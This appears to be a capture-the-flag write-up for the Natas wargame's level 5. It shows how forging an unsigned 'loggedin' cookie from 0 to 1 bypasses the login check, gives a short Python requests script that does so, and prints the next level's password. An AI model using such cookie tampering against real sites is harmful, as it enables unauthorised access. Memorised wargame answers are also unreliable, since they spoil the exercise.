Description

The page says “Access disallowed. You are not logged in.” A cookie loggedin=0 controls this check. Setting it to 1 grants access.

Overview

• Cookies are client-side values that servers trust without verification unless additional signing is in place.
• Changing loggedin from 0 to 1 makes the server believe the session is authenticated.

Solution

cookies = {"loggedin": "1"}
response = requests.get(url, auth=("natas5", current_password), cookies=cookies)
result = re.search(r"The password for natas6 is (.*)", response.text).group(1).strip()

Password

fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR